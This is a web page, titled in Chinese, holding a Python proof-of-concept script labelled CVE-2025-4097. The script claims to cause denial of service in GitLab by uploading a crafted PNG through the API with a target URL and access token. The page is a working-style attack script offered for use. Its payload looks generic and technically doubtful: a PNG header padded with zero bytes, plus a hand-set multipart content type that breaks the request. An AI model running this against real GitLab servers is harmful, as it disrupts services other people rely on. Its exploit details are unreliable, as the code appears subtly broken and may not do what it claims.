CVE-2025-4097: GitLab特制图像上传导致拒绝服务漏洞

import requests import sys # CVE-2025-4097 PoC - GitLab DoS via crafted image upload # This PoC demonstrates uploading a specially crafted image to trigger DoS def create_crafted_image(): """Generate a specially crafted image that can trigger DoS in GitLab""" # Crafted image with malicious payload crafted_data = b'\x89PNG\r\n\x1a\n' # PNG header crafted_data += b'\x00\x00\x00\rIHDR' # IHDR chunk crafted_data += b'\x00\x00\x00\x00' * 100 # Malformed data crafted_data += b'\x00' * 10000 # Overflow data return crafted_data def exploit_gitlab(target_url, token): """Upload crafted image to GitLab to trigger DoS""" headers = { 'PRIVATE-TOKEN': token, 'Content-Type': 'multipart/form-data' } crafted_image = create_crafted_image() files = {'file': ('malicious.png', crafted_image, 'image/png')} # Upload to GitLab upload_url = f"{target_url}/api/v4/projects/1/uploads" try: response = requests.post(upload_url, headers=headers, files=files) print(f"Upload response: {response.status_code}") if response.status_code == 201: print("Image uploaded successfully - DoS condition may be triggered") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_4097_poc.py <gitlab_url> <access_token>") sys.exit(1) exploit_gitlab(sys.argv[1], sys.argv[2])